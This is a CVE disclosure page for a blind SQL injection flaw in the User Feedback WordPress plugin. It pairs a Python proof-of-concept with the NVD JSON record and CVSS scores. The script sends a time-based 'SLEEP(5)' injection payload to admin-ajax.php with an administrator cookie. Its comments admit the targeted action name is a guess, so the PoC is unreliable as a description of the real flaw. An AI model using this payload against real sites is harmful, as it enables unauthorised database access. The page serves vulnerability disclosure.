CVE-2026-39475

import requests import time # Exploit Title: User Feedback Plugin <= 1.10.1 - Blind SQL Injection (PoC) # Date: 2026-04-08 # Exploit Author: Analyst # Vendor Homepage: https://www.userfeedback.com/ # Software Link: https://wordpress.org/plugins/userfeedback-lite/ # Version: <= 1.10.1 # CVE: CVE-2026-39475 def check_sqli(target_url, cookie): """ Tests for Blind SQL Injection using time-based analysis. Note: This requires valid administrator session cookies (PR:H). """ # The vulnerable endpoint might be an AJAX action, e.g., sorting or fetching feedback # Adjust the 'action' and parameter name based on actual plugin behavior payload = { "action": "uf_sort_feedback", "orderby": "id ASC; IF(1=1, SLEEP(5), 0)-- -" } headers = { "Cookie": cookie, "User-Agent": "Mozilla/5.0 (Compatible; PoC-Scanner)", "Content-Type": "application/x-www-form-urlencoded" } try: start_time = time.time() response = requests.post(target_url, data=payload, headers=headers, timeout=10) end_time = time.time() elapsed = end_time - start_time if elapsed >= 5: print(f"[+] Vulnerability Confirmed! Response took {elapsed:.2f} seconds.") print("[+] The application is vulnerable to Blind SQL Injection.") else: print(f"[-] Not vulnerable or payload incorrect. Response took {elapsed:.2f} seconds.") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": # Example usage # Replace with actual target URL and admin cookie target = "http://example.com/wp-admin/admin-ajax.php" admin_cookie = "wordpress_logged_in_xxxxxxxxxxxxxxxxxxxxxxxxxxxx" print("[*] Starting CVE-2026-39475 PoC...") check_sqli(target, admin_cookie)

{"cve": {"id": "CVE-2026-39475", "sourceIdentifier": "[email protected]", "published": "2026-04-08T09:16:22.257", "lastModified": "2026-04-29T10:17:23.867", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Syed Balkhi User Feedback userfeedback-lite allows Blind SQL Injection.This issue affects User Feedback: from n/a through <= 1.10.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:L", "baseScore": 7.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.3, "impactScore": 4.7}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 4.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/userfeedback-lite/vulnerability/wordpress-user-feedback-plugin-1-10-1-sql-injection-vulnerability-2?_s_id=cve", "source": "[email protected]"}]}}